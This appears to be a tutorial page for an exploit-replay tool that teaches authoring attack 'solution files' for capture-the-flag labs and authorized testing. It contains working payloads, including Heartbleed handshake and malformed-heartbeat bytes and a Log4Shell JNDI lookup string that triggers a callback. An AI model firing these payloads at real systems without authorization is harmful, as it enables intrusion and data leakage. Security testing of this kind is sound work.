Skip to content

Authoring solutions

A path from your very first solution file to expert-level chains. Work through the stages in order.

This guide takes you from your very first solution file to expert-level chains. Work through the stages in order: each one builds on the last, and each ends with a checkpoint so you know you are ready to move on. If you already know a stage, skim it and jump ahead.

Every solution has the same shape: a few lines about the attack at the top, then the steps. Each step starts with its identity and a name, then key: value lines, and ends with an assert, the pass or fail test. The rest of a step depends on the protocol.

Stage 1: your very first file

What you learn: the shape of a solution file, how to run one, and how to read the result.

The smallest useful solution is a single HTTP step. Here is the whole file:

id: web/reflection-probe
param: template

http reflect
  encoding: query
  meaning: send a unique marker in the template param and confirm it comes back
  payload: REFLECTED_7x7
  assert: contains "REFLECTED_7x7"

Read it top to bottom:

  • id names the attack. param names the input parameter, template here.
  • The block after it is one step. http is the protocol, reflect is the step name. It sends REFLECTED_7x7 in the template parameter of a GET request.
  • assert is the pass or fail test: the step passes only if the response contains REFLECTED_7x7.

Save it as solution.txt and run it against a target:

exploitmatic solution.txt http://example.com/render

The runtime prints one line per step and a result. When the value comes back, the result is verified; when it does not, the result is not verified. A bad file or a connection problem stops the run with an error message instead.

Checkpoint: you can write a one-step HTTP solution, run it, and read the result.

Stage 2: get the payload to the right place

What you learn: the ways an HTTP step can carry a value, and how to match a response that varies.

The http identity decides where the payload goes by its encoding:

encodingthe request it makes
queryGET target?param=value
formPOST, form-encoded
jsonPOST, JSON body
raw-jsonPOST, the body IS the value
plainGET of a fixed path, no parameter

Use path to add to the target URL and headers to add request headers.

When the response varies a little, use a pattern instead of exact text. The regex test matches a pattern; this one accepts either heartbeat record version:

assert: regex "18030[123]40"

The flag test is a shortcut: it passes when the response contains a flag-shaped string such as FLAG{...}.

Checkpoint: you can choose the right encoding for a web target and the right test for the reply.

Stage 3: reach the flag

What you learn: reading a file on your own machine, the finish line of a capture-the-flag lab.

id: host/read-flag

file read-flag
  op: read
  path: "{flag_path}"
  assert: flag

{flag_path} is filled in from the --flag-path flag. This step reads a file on your own machine:

exploitmatic solution.txt example.com --flag-path flag.txt

The flag test passes when the file content looks like FLAG{...}.

Checkpoint: you can probe a lab, then read the flag it writes.

Stage 4: two steps, one conversation

What you learn: how steps run in order, and when a connection stays open between them.

For tcp, tls, and websocket steps the connection stays open across steps. This matters for attacks that need a handshake first: stage the handshake in one step, send the exploit in the next, on the same connection. For http steps each step is its own request.

Heartbleed is the classic case. Step 1 opens a TLS connection and proves the server finishes its hello. Step 2 sends the malformed heartbeat and looks for the leak:

id: tls/heartbeat-probe

tls clienthello
  meaning: advertise the heartbeat extension and wait for ServerHelloDone
  send: 1603030125010001210303...
  recv_until: 0e000000
  recv: 65536
  timeout: 5
  assert: contains "0e000000"

tls malformed-heartbeat
  meaning: send a heartbeat request claiming a payload length with zero payload bytes
  send: 1803030003014000
  recv: 70000
  timeout: 5
  assert: regex "18030[123]40"
  • send is the bytes to send, written as hex (or as readable text: hex "HELO x\r\n" is hex-encoded for you)
  • recv is the most bytes to read
  • recv_until stops the read once a marker appears, here the ServerHelloDone message
  • timeout is how long to wait, in seconds
  • close would end the connection after the step

The target for a tls solution is host:port:

exploitmatic solution.txt example.com:8443

Checkpoint: you can replay a real protocol exploit that needs a session.

Stage 5: values that change

What you learn: reusing values across steps, and following values the server assigns.

Sometimes a later step needs a value that is not known until the run: a session port, a token. Two tools handle this.

Declare your own values at the top with vars, and change them mid-flow with set on a step:

id: demo/probe
vars:
  marker: ONE

http first
  encoding: query
  payload: "{marker}"
  set:
    token: TWO
  assert: contains "ONE"

http second
  encoding: query
  payload: "{token}"
  assert: contains "TWO"

Step 1 sends {marker} (which is ONE) and declares {token} as TWO. Step 2 sends {token} (which is now TWO).

When the value comes from the target, capture pulls it out of the response. This example follows a server-assigned port:

tcp negotiate
  send: 010203...
  capture port: "(....)"
  assert: contains "..."

tcp use-port
  send: "otrpc:{port}:..."

Later steps reference {port} and the runtime fills it in. See Variables for the rules.

For a WebSocket step, the send is treated as text and wrapped into a proper frame automatically, so you do not hand-compute frame lengths:

websocket ws-rpc
  send: "{\"jsonrpc\":\"2.0\",\"id\":{port}}"

Checkpoint: you can build a conversation that adapts to values it learns along the way.

Stage 6: make the target phone home

What you learn: out-of-band callbacks and running commands on your own machine.

Some attacks make the target connect back to us. The Log4Shell pattern declares a listener at the top, then checks a callback arrived:

id: log4j/jndi-probe
oob:
  host: 127.0.0.1

http jndi-lookup
  encoding: query
  meaning: trigger a JNDI lookup back to the listener
  payload: "${jndi:ldap://{oob_host}:{oob_port}/hit}"
  assert: oob "300c0201016007"

{oob_host} and {oob_port} are filled in automatically. A port of 0 picks a free one. The oob test passes when a callback arrives. The marker here is the LDAP bind prefix: the JNDI lookup connects and sends an anonymous bind, and the listener records the raw bytes, so that prefix is what actually arrives. When the target runs in a container, give the listener a routable address (-oob-host), because 127.0.0.1 inside the container is the container’s own loopback.

The process identity runs a command on your own machine and checks its output, like file:

id: host/whoami

process whoami
  command: id
  assert: regex "uid="

The file identity works the same way: op (read or write), path, and data for the bytes to write.

Checkpoint: you can build solutions that reach out of band and into the host.

Stage 7: expert habits

What you learn: combining everything, keeping solutions deterministic, and debugging when they fail.

A real solution mixes the stages. One attack can start with a WebSocket upgrade, follow a server-assigned port, send a JSON-RPC call, and finish with a flag read on the host. Build it one stage at a time, and test each stage against a replica before moving on.

Keep solutions deterministic: fixed bytes, fixed paths, no randomness. The same file against the same target must give the same result, so a run can be repeated and compared any time.

When a run fails, the console points at the problem. Common causes:

symptomcause
unknown identitythe identity is not one the runtime implements
missing fielda required field is missing, for example encoding on an http step
not valid hexsend or recv_until on a tcp/tls step is not hex
test failedthe test ran and failed, the attack did not work on this target

The console report shows what every step sent and received, with the test that ran. It stores no result, so the result always comes from the tests.

Checkpoint: you can write, run, and debug a multi-stage solution on your own.

Rules of thumb

  • Steps run in order, and the tcp, tls, and websocket connection stays open between them.
  • A step without a test is recorded but never fails.
  • Keep steps deterministic: fixed bytes, fixed paths, no randomness.
  • A solution is data only. The runtime never executes anything from it.
  • Refine against a local replica first, then verify against an authorized target.

See the overview for the field tables and the Steps page for the step object in detail.

Write attacks down. Verify them.

Download the binary, point it at a target you own, and get a verified result. The corpus is open and the format is plain text.